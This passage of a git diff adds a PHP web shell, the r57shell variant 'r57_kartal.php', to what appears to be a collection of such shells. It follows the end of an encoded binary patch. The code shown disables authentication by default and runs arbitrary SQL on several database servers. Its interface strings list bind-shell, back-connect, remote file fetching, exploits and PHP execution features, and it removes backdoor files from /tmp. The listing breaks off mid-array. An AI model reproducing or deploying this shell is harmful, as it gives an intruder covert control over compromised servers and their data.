z7%K=*d>Q<qtt|w#T91rRFQ)bd%ik~{&Yvo`Qo6eH3U`C8ra@pqjC;cnLKmJ%>w?9o zkzrDXxVLmD43_T__Jrx58kOK(y8G?}UM;!ynTT+sHTbiH3?TB`S^cp00L@lSnFuY+ zDGu;Q3y>bX4!uj)N0nL;r-~gSj%(Z2H;=YMg$@n^NtKG*7#Ai~lJN9V!iQ+PU=P^? zE=jU;ZA*}c)j=4lA7k0}17Gndc?n`oY2MUk@j4(bZ2JPSt|udORO^}0BSq**_>3R6 zeqY~I*5jIw&$Z0vyp?HH45!55{EGYd<{5a?fM6Wq92VEd-wJKeXb<{m3${vPRa4vr z2~zviNl09o5>JMg$nA@+0(>gcPUiL#OvUP(9Fs$_<2-I%m~A5;4{z%XbV`bMq)EUv zMW?k(be164Xv*4+AetPdXf-#ws4Et;Kw!;=j02j&*x-%N>h42R1gqBe4=lGUockKy zs>zDHF6XwTMvBK7eH{f)^~Y?!cXoJtg90B?+bc8TWtd53o+Y&Es%!23xTI}fiJ=pF z$Zu8VokD~%$bIUgz4ts^pU`~whcT#h7M;-zbKZGblT+JLesdpU023+tV_>SM-ciq> zc2Mx>793$9`q?eqFZbypGf-@fd8(&5N;tY(UWAFwi99_}tYqkqgQr;=PCYWKdQnK% zbiy%aig1vSj(0+v43R%SB#y-f(U%~gOl60r7cBZJKQS|KeG3a#xsbYd%h_I5tb_aW zqd%ndW@;4mm``jks1vl7PIo+$z#~Amfmh<Zn$jgW0)_+LTRVXcihK`<xg5gge_E#f zKmjMcMPm#8@(4vy5=~6{Zi2DOd&~UB?)$s4d)+vu3Ks_L5%y4V1y2>mUK^Cf<UqP9 zt#Ve%aqG;8MDO+9bvi#x?$@yc`bX;AazG&#J`~m2B;~h<un*9a%3V5bT71-=wQlzC zn9ovlJi?48s#|N@Z5>3)Aw=rTg7A^jotw&b`O4+apFFt>^FhoiDdDVMGpqQDZEUF? zC*?Q-3Hq~IE2%SmcJf<pKR9MwL8iQX;dik)*pd3^98r<HF8u<8h&X~Z>GwqO`IqVo zecGB<;wt8;!_n1%+pNmnE0S_&2_maS_SX>pr4V!y*(kJt>!t%am{70%kMDbL;fwmk z#6_SnF6*kPAvDF2ql;!nG6DZ2-+5CbP?OEp^$MK;r`RzZ?$O07uza;RfWlUxz`rTC z!78_86$)RC=IoT8nXVpX73VLyvt_s>3lzPXSg<u-iMv(-59+R4zD;XI%0Xe1!8BHU z<|6c!exgvfI+nmR@)<L(WIZjgIh-ndI*D>@<bF24>)UgsA&1<3-2&ooaq7#wPJYtZ z(T$r_l@NYX(=VQm^~qGc1@3PColUY11+K?hg7*|$zIA4>#SwCk#?@J#Pc3*DSoZVF zAV;T6O+q-|NaBcXw@Rx=AT+q<%*nI0yPG5{;~yJuwXfcwdZp$-y_-3>Yi2N}Czl`+ z=ZP0i=K^OP9_$D$Hba{QGC6xIiZ7Lt1I|ium5cuHN!qKCe=zE8b>)Jj$k|$pzOFYh zk4YYB(4-J5(Pw?tc%QgR2>wD=dOheY@)p1ALjYIZAd>B0OQMHhmF^mi=tIFv5OLWB zpjE2_rMhCA>4p~_Z4y38JFf6>dNni=c1kM?fvbI-GP${H;(9i(bI}@cQf}S9oSOU< zhUUxwMBrO}!H{wdk-|PWfd9&@k<0p8jcr7${5a}@MHPRSPd#vQN%)Dhk(F(|X}xW{ zO`-88W8ms-V6XpsWfqM2=^R@8z5M6`%AHIge|%5~av4uAo1V%hv)A6Z44%Kj?Ls!W zvN7j3TmMlGup$M1Ti0*?`v2tvbknLBwfXitv)f`5STl(TkL!)B1VocmEM~vgs3qbH z?v?#}hwn+VZZ0|lsNgfC4a`e5FG1?-bf>C@qBLi5LjxZhve$>fCo2CYRCU*x;6$mu zStB4#{XTAU#XZlU4PIlWB%|$UCtu*6Y9%9luS*vLD&ub>ATL^E&m%lEu(J|YCxL%g z`+}8OU=Oplo0PizCO04t+9IJp-$Yxy4%{NJ{=LyWmzmDk=SU1wIoG!Gpr0PR6%tBp z3>WPjS@_b*Afhf#rF)_={B3PCnCCGEKb(h5YNHA7kxQC$3GLAqA-4FZGY1hPpUKvX zz7J6f57H0Jj2(W}L@d=@6mgl^R%&@E(I(X)8EOJmj^AL%%@KWrZ*npR`<{A~vGM!} zN%2-s(O?EMFIiqt{n<L{#t$jD3NZ~OqcR&83Jm#aolThSIGTIn=@kq<gCr73=YaYq z^X7$UJ`mD1ZoAe6p(h1(>*M#&roB@Pc%B+Np)UxjH*Dk}2bu468D~9hHLNa=q}<pi z30G%9B@DHZwGaK~8|J15NoraAdbz{iE@t7*7X7>7N$4MID-!jst4$jN)<c9x4!wH0 z)gYOmW#AO*gYm$GOSSsA!X!><^z!a-@Asm42C@j^D*@_^rE`VlsU9?oaL_}NW_2!Y z6zbS74sQ&+mQc@hGg!q&&^_6IJX##*Sc0rAmH`DcknrU&wW{z1oXTLuzlN#hf}^8s zM3?OE)`+WJt2Ch1QSO_q-`4fN<O7;z5rCXK!Z`V*Lj&l@DEaI?{e6fW&`*bZ@F#Di O|8f@eU*)xN>D8~^dh!wg literal 0 HcmV?d00001 diff --git a/php/PHPshell/【r57_karta】/r57_kartal.php b/php/PHPshell/【r57_karta】/r57_kartal.php new file mode 100644 index 0000000..3b749b7 --- /dev/null +++ b/php/PHPshell/【r57_karta】/r57_kartal.php @@ -0,0 +1,1883 @@ +<?php +/******************************************************************************************************/ +/* +/* +/* ssssssss pppp pppp yyyyyy yyyyyy gggg gggg rrrr rrrr uuuu uuuu pppp pppp +/* ss pppp pp yy yy gg gggg rrrr uu uu pppp pp +/* ssssss pp pp yy yy gg gg rr uu uu pp pp +/* ss pp pp yy yy gg gg rr uu uuuu pp pp +/* ssssssss pppppppp yy gggggggg rrrrrrrr uuuu uuuu pppppppp +/* pp yy gg pp +/* pppppp yyyyyy gggggg pppppp +/* +/* kartal_567@hotmail.com[KaRTaL] +/* +/* r57shell.php - &#1089;&#1082;&#1088;&#1080;&#1087;&#1090; &#1085;&#1072; &#1087;&#1093;&#1087; &#1087;&#1086;&#1079;&#1074;&#1086;&#1083;&#1103;&#1102;&#1097;&#1080;&#1081; &#1074;&#1072;&#1084; &#1074;&#1099;&#1087;&#1086;&#1083;&#1085;&#1103;&#1090;&#1100; &#1096;&#1077;&#1083;&#1083; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1099; &#1085;&#1072; &#1089;&#1077;&#1088;&#1074;&#1077;&#1088;&#1077; &#1095;&#1077;&#1088;&#1077;&#1079; &#1073;&#1088;&#1072;&#1091;&#1079;&#1077;&#1088; +/* &#1042;&#1077;&#1088;&#1089;&#1080;&#1103;: 1.23 +/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ +/******************************************************************************************************/ + +/* ~~~ &#1053;&#1072;&#1089;&#1090;&#1088;&#1086;&#1081;&#1082;&#1080; ~~~ */ +error_reporting(0); +set_magic_quotes_runtime(0); +@set_time_limit(0); +@ini_set('max_execution_time',0); +@ini_set('output_buffering',0); +$safe_mode = @ini_get('safe_mode'); +$version = "q1w2e3r4"; +if(version_compare(phpversion(), '4.1.0') == -1) + { + $_POST = &$HTTP_POST_VARS; + $_GET = &$HTTP_GET_VARS; + $_SERVER = &$HTTP_SERVER_VARS; + } +if (@get_magic_quotes_gpc()) + { + foreach ($_POST as $k=>$v) + { + $_POST[$k] = stripslashes($v); + } + foreach ($_SERVER as $k=>$v) + { + $_SERVER[$k] = stripslashes($v); + } + } + +/* ~~~ &#1040;&#1091;&#1090;&#1077;&#1085;&#1090;&#1080;&#1092;&#1080;&#1082;&#1072;&#1094;&#1080;&#1103; ~~~ */ + +// $auth = 1; - &#1040;&#1091;&#1090;&#1077;&#1085;&#1090;&#1080;&#1092;&#1080;&#1082;&#1072;&#1094;&#1080;&#1103; &#1074;&#1082;&#1083;&#1102;&#1095;&#1077;&#1085;&#1072; +// $auth = 0; - &#1040;&#1091;&#1090;&#1077;&#1085;&#1090;&#1080;&#1092;&#1080;&#1082;&#1072;&#1094;&#1080;&#1103; &#1074;&#1099;&#1082;&#1083;&#1102;&#1095;&#1077;&#1085;&#1072; +$auth = 0; + +// &#1051;&#1086;&#1075;&#1080;&#1085; &#1080; &#1087;&#1072;&#1088;&#1086;&#1083;&#1100; &#1076;&#1083;&#1103; &#1076;&#1086;&#1089;&#1090;&#1091;&#1087;&#1072; &#1082; &#1089;&#1082;&#1088;&#1080;&#1087;&#1090;&#1091; +// &#1053;&#1045; &#1047;&#1040;&#1041;&#1059;&#1044;&#1068;&#1058;&#1045; &#1057;&#1052;&#1045;&#1053;&#1048;&#1058;&#1068; &#1055;&#1045;&#1056;&#1045;&#1044; &#1056;&#1040;&#1047;&#1052;&#1045;&#1065;&#1045;&#1053;&#1048;&#1045;&#1052; &#1053;&#1040; &#1057;&#1045;&#1056;&#1042;&#1045;&#1056;&#1045;!!! +$name='teufel'; // &#1083;&#1086;&#1075;&#1080;&#1085; &#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1090;&#1077;&#1083;&#1103; +$pass='spyms'; // &#1087;&#1072;&#1088;&#1086;&#1083;&#1100; &#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1090;&#1077;&#1083;&#1103; + +if($auth == 1) { +if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || $_SERVER['PHP_AUTH_PW']!==$pass) + { + header('WWW-Authenticate: Basic realm="shell"'); + header('HTTP/1.0 401 Unauthorized'); + exit("<b><a href=http://www.spygrup.org>www.spygrup.org</a> : Access Denied</b>"); + } +} +$head = '<!-- &#1047;&#1076;&#1088;&#1072;&#1074;&#1089;&#1090;&#1074;&#1091;&#1081; &#1042;&#1072;&#1089;&#1103; --> +<html> +<head> +<title>shell</title> +<meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> + +<STYLE> +tr { +BORDER-RIGHT: #aaaaaa 1px solid; +BORDER-TOP: #eeeeee 1px solid; +BORDER-LEFT: #eeeeee 1px solid; +BORDER-BOTTOM: #aaaaaa 1px solid; +} +td { +BORDER-RIGHT: #aaaaaa 1px solid; +BORDER-TOP: #eeeeee 1px solid; +BORDER-LEFT: #eeeeee 1px solid; +BORDER-BOTTOM: #aaaaaa 1px solid; +} +.table1 { +BORDER-RIGHT: #cccccc 0px; +BORDER-TOP: #cccccc 0px; +BORDER-LEFT: #cccccc 0px; +BORDER-BOTTOM: #cccccc 0px; +BACKGROUND-COLOR: #D4D0C8; +} +.td1 { +BORDER-RIGHT: #cccccc 0px; +BORDER-TOP: #cccccc 0px; +BORDER-LEFT: #cccccc 0px; +BORDER-BOTTOM: #cccccc 0px; +font: 7pt Verdana; +} +.tr1 { +BORDER-RIGHT: #cccccc 0px; +BORDER-TOP: #cccccc 0px; +BORDER-LEFT: #cccccc 0px; +BORDER-BOTTOM: #cccccc 0px; +} +table { +BORDER-RIGHT: #eeeeee 1px outset; +BORDER-TOP: #eeeeee 1px outset; +BORDER-LEFT: #eeeeee 1px outset; +BORDER-BOTTOM: #eeeeee 1px outset; +BACKGROUND-COLOR: #D4D0C8; +} +input { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #e4e0d8; +font: 8pt Verdana; +} +select { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #e4e0d8; +font: 8pt Verdana; +} +submit { +BORDER-RIGHT: buttonhighlight 2px outset; +BORDER-TOP: buttonhighlight 2px outset; +BORDER-LEFT: buttonhighlight 2px outset; +BORDER-BOTTOM: buttonhighlight 2px outset; +BACKGROUND-COLOR: #e4e0d8; +width: 30%; +} +textarea { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #e4e0d8; +font: Fixedsys bold; +} +BODY { +margin-top: 1px; +margin-right: 1px; +margin-bottom: 1px; +margin-left: 1px; +} +A:link {COLOR:red; TEXT-DECORATION: none} +A:visited { COLOR:red; TEXT-DECORATION: none} +A:active {COLOR:red; TEXT-DECORATION: none} +A:hover {color:blue;TEXT-DECORATION: none} +</STYLE>'; +if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); } +if ($_POST['cmd']=="db_query") + { + echo $head; + switch($_POST['db']) + { + case 'MySQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; } + $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + if(!empty($_POST['mysql_db'])) { @mysql_select_db($_POST['mysql_db'],$db); } + $querys = @explode(';',$_POST['db_query']); + foreach($querys as $num=>$query) + { + if(strlen($query)>5){ + echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>"; + $res = @mysql_query($query,$db); + $error = @mysql_error($db); + if($error) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; } + else { + if (@mysql_num_rows($res) > 0) + { + $sql2 = $sql = $keys = $values = ''; + while (($row = @mysql_fetch_assoc($res))) + { + $keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} + $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$values); + $sql2 .= "<tr><td><font face=Verdana size=-2>&nbsp;".$values."&nbsp;</font></td></tr>"; + } + echo "<table width=100%>"; + $sql = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"; + $sql .= $sql2; + echo $sql; + echo "</table><br>"; + } + else { if(($rows = @mysql_affected_rows($db))>=0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } } + } + @mysql_free_result($res); + } + } + @mysql_close($db); + } + else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to MySQL server</b></font></div>"; + break; + case 'MSSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; } + $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + if(!empty($_POST['mysql_db'])) { @mssql_select_db($_POST['mysql_db'],$db); } + $querys = @explode(';',$_POST['db_query']); + foreach($querys as $num=>$query) + { + if(strlen($query)>5){ + echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>"; + $res = @mssql_query($query,$db); + if (@mssql_num_rows($res) > 0) + { + $sql2 = $sql = $keys = $values = ''; + while (($row = @mssql_fetch_assoc($res))) + { + $keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} + $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$values); + $sql2 .= "<tr><td><font face=Verdana size=-2>&nbsp;".$values."&nbsp;</font></td></tr>"; + } + echo "<table width=100%>"; + $sql = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"; + $sql .= $sql2; + echo $sql; + echo "</table><br>"; + } + /* else { if(($rows = @mssql_affected_rows($db)) > 0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } else { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; }} */ + @mssql_free_result($res); + } + } + @mssql_close($db); + } + else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to MSSQL server</b></font></div>"; + break; + case 'PostgreSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; } + $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'"; + $db = @pg_connect($str); + if($db) + { + $querys = @explode(';',$_POST['db_query']); + foreach($querys as $num=>$query) + { + if(strlen($query)>5){ + echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>"; + $res = @pg_query($db,$query); + $error = @pg_errormessage($db); + if($error) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; } + else { + if (@pg_num_rows($res) > 0) + { + $sql2 = $sql = $keys = $values = ''; + while (($row = @pg_fetch_assoc($res))) + { + $keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} + $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$values); + $sql2 .= "<tr><td><font face=Verdana size=-2>&nbsp;".$values."&nbsp;</font></td></tr>"; + } + echo "<table width=100%>"; + $sql = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"; + $sql .= $sql2; + echo $sql; + echo "</table><br>"; + } + else { if(($rows = @pg_affected_rows($res))>=0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } } + } + @pg_free_result($res); + } + } + @pg_close($db); + } + else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to PostgreSQL server</b></font></div>"; + break; + case 'Oracle': + $db = @ocilogon($_POST['mysql_l'], $_POST['mysql_p'], $_POST['mysql_db']); + if(($error = @ocierror())) { echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to Oracle server.<br>".$error['message']."</b></font></div>"; } + else + { + $querys = @explode(';',$_POST['db_query']); + foreach($querys as $num=>$query) + { + if(strlen($query)>5) { + echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>"; + $stat = @ociparse($db, $query); + @ociexecute($stat); + if(($error = @ocierror())) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error['message']."</b></font></td></tr></table><br>"; } + else + { + $rowcount = @ocirowcount($stat); + if($rowcount != 0) {echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rowcount."</b></font></td></tr></table><br>";} + else { + echo "<table width=100%><tr>"; + for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo "<td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".htmlspecialchars(@ocicolumnname($stat, $j))."&nbsp;</b></font></td>"; } + echo "</tr>"; + while(ocifetch($stat)) + { + echo "<tr>"; + for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo "<td><font face=Verdana size=-2>&nbsp;".htmlspecialchars(@ociresult($stat, $j))."&nbsp;</font></td>"; } + echo "</tr>"; + } + echo "</table><br>"; + } + @ocifreestatement($stat); + } + } + } + @ocilogoff($db); + } + break; + } + echo "<form name=form method=POST>"; + echo in('hidden','db',0,$_POST['db']); + echo in('hidden','db_port',0,$_POST['db_port']); + echo in('hidden','mysql_l',0,$_POST['mysql_l']); + echo in('hidden','mysql_p',0,$_POST['mysql_p']); + echo in('hidden','mysql_db',0,$_POST['mysql_db']); + echo in('hidden','cmd',0,'db_query'); + echo "<div align=center><textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>"; + echo "</form>"; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); + } +if(isset($_GET['tmp'])) + { + @unlink("/tmp/bdpl"); + @unlink("/tmp/back"); + @unlink("/tmp/bd"); + @unlink("/tmp/bd.c"); + @unlink("/tmp/dp"); + @unlink("/tmp/dpc"); + @unlink("/tmp/dpc.c"); + } +if(isset($_GET['phpini'])) +{ +echo $head; +function U_value($value) + { + if ($value == '') return '<i>no value</i>'; + if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE'; + if ($value === null) return 'NULL'; + if (@is_object($value)) $value = (array) $value; + if (@is_array($value)) + { + @ob_start(); + print_r($value); + $value = @ob_get_contents(); + @ob_end_clean(); + } + return U_wordwrap((string) $value); + } +function U_wordwrap($str) + { + $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true); + return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str); + } +if (@function_exists('ini_get_all')) + { + $r = ''; + echo '<table width=100%>', '<tr><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>'; + foreach (@ini_get_all() as $key=>$value) + { + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>'; + } + echo $r; + echo '</table>'; + } +echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; +die(); +} +if(isset($_GET['cpu'])) + { + echo $head; + echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>'; + $cpuf = @file("cpuinfo"); + if($cpuf) + { + $c = @sizeof($cpuf); + for($i=0;$i<$c;$i++) + { + $info = @explode(":",$cpuf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; + } + echo $r; + } + else + { + echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'; + } + echo '</table>'; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +if(isset($_GET['mem'])) + { + echo $head; + echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>'; + $memf = @file("meminfo"); + if($memf) + { + $c = sizeof($memf); + for($i=0;$i<$c;$i++) + { + $info = explode(":",$memf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; + } + echo $r; + } + else + { + echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'; + } + echo '</table>'; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +/* +&#1042;&#1099;&#1073;&#1086;&#1088; &#1103;&#1079;&#1099;&#1082;&#1072; +$language='eng' - &#1088;&#1091;&#1089;&#1089;&#1082;&#1080;&#1081; +$language='ru' - &#1072;&#1085;&#1075;&#1083;&#1080;&#1081;&#1089;&#1082;&#1080;&#1081; +*/ +$language='eng'; +$lang=array( +'ru_text1' =>'&#1042;&#1099;&#1087;&#1086;&#1083;&#1085;&#1077;&#1085;&#1085;&#1072;&#1103; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1072;', +'ru_text2' =>'&#1042;&#1099;&#1087;&#1086;&#1083;&#1085;&#1077;&#1085;&#1080;&#1077; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076; &#1085;&#1072; &#1089;&#1077;&#1088;&#1074;&#1077;&#1088;&#1077;', +'ru_text3' =>'&#1042;&#1099;&#1087;&#1086;&#1083;&#1085;&#1080;&#1090;&#1100; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1091;', +'ru_text4' =>'&#1056;&#1072;&#1073;&#1086;&#1095;&#1072;&#1103; &#1076;&#1080;&#1088;&#1077;&#1082;&#1090;&#1086;&#1088;&#1080;&#1103;', +'ru_text5' =>'&#1047;&#1072;&#1075;&#1088;&#1091;&#1079;&#1082;&#1072; &#1092;&#1072;&#1081;&#1083;&#1086;&#1074; &#1085;&#1072; &#1089;&#1077;&#1088;&#1074;&#1077;&#1088;', +'ru_text6' =>'&#1051;&#1086;&#1082;&#1072;&#1083;&#1100;&#1085;&#1099;&#1081; &#1092;&#1072;&#1081;&#1083;', +'ru_text7' =>'&#1040;&#1083;&#1080;&#1072;&#1089;&#1099;', +'ru_text8' =>'&#1042;&#1099;&#1073;&#1077;&#1088;&#1080;&#1090;&#1077; &#1072;&#1083;&#1080;&#1072;&#1089;', +'ru_butt1' =>'&#1042;&#1099;&#1087;&#1086;&#1083;&#1085;&#1080;&#1090;&#1100;', +'ru_butt2' =>'&#1047;&#1072;&#1075;&#1088;&#1091;&#1079;&#1080;&#1090;&#1100;', +'ru_text9' =>'&#1054;&#1090;&#1082;&#1088;&#1099;&#1090;&#1080;&#1077; &#1087;&#1086;&#1088;&#1090;&#1072; &#1080; &#1087;&#1088;&#1080;&#1074;&#1103;&#1079;&#1082;&#1072; &#1077;&#1075;&#1086; &#1082; /bin/bash', +'ru_text10'=>'&#1054;&#1090;&#1082;&#1088;&#1099;&#1090;&#1100; &#1087;&#1086;&#1088;&#1090;', +'ru_text11'=>'&#1055;&#1072;&#1088;&#1086;&#1083;&#1100; &#1076;&#1083;&#1103; &#1076;&#1086;&#1089;&#1090;&#1091;&#1087;&#1072;', +'ru_butt3' =>'&#1054;&#1090;&#1082;&#1088;&#1099;&#1090;&#1100;', +'ru_text12'=>'back-connect', +'ru_text13'=>'IP-&#1072;&#1076;&#1088;&#1077;&#1089;', +'ru_text14'=>'&#1055;&#1086;&#1088;&#1090;', +'ru_butt4' =>'&#1042;&#1099;&#1087;&#1086;&#1083;&#1085;&#1080;&#1090;&#1100;', +'ru_text15'=>'&#1047;&#1072;&#1075;&#1088;&#1091;&#1079;&#1082;&#1072; &#1092;&#1072;&#1081;&#1083;&#1086;&#1074; &#1089; &#1091;&#1076;&#1072;&#1083;&#1077;&#1085;&#1085;&#1086;&#1075;&#1086; &#1089;&#1077;&#1088;&#1074;&#1077;&#1088;&#1072;', +'ru_text16'=>'&#1048;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1090;&#1100;', +'ru_text17'=>'&#1059;&#1076;&#1072;&#1083;&#1077;&#1085;&#1085;&#1099;&#1081; &#1092;&#1072;&#1081;&#1083;', +'ru_text18'=>'&#1051;&#1086;&#1082;&#1072;&#1083;&#1100;&#1085;&#1099;&#1081; &#1092;&#1072;&#1081;&#1083;', +'ru_text19'=>'Exploits', +'ru_text20'=>'&#1048;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1090;&#1100;', +'ru_text21'=>'&#1053;&#1086;&#1074;&#1086;&#1077; &#1080;&#1084;&#1103;', +'ru_text22'=>'datapipe', +'ru_text23'=>'&#1051;&#1086;&#1082;&#1072;&#1083;&#1100;&#1085;&#1099;&#1081; &#1087;&#1086;&#1088;&#1090;', +'ru_text24'=>'&#1059;&#1076;&#1072;&#1083;&#1077;&#1085;&#1085;&#1099;&#1081; &#1093;&#1086;&#1089;&#1090;', +'ru_text25'=>'&#1059;&#1076;&#1072;&#1083;&#1077;&#1085;&#1085;&#1099;&#1081; &#1087;&#1086;&#1088;&#1090;', +'ru_text26'=>'&#1048;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1090;&#1100;', +'ru_butt5' =>'&#1047;&#1072;&#1087;&#1091;&#1089;&#1090;&#1080;&#1090;&#1100;', +'ru_text28'=>'&#1056;&#1072;&#1073;&#1086;&#1090;&#1072; &#1074; safe_mode', +'ru_text29'=>'&#1044;&#1086;&#1089;&#1090;&#1091;&#1087; &#1079;&#1072;&#1087;&#1088;&#1077;&#1097;&#1077;&#1085;', +'ru_butt6' =>'&#1057;&#1084;&#1077;&#1085;&#1080;&#1090;&#1100;', +'ru_text30'=>'&#1055;&#1088;&#1086;&#1089;&#1084;&#1086;&#1090;&#1088; &#1092;&#1072;&#1081;&#1083;&#1072;', +'ru_butt7' =>'&#1042;&#1099;&#1074;&#1077;&#1089;&#1090;&#1080;', +'ru_text31'=>'&#1060;&#1072;&#1081;&#1083; &#1085;&#1077; &#1085;&#1072;&#1081;&#1076;&#1077;&#1085;', +'ru_text32'=>'&#1042;&#1099;&#1087;&#1086;&#1083;&#1085;&#1077;&#1085;&#1080;&#1077; PHP &#1082;&#1086;&#1076;&#1072;', 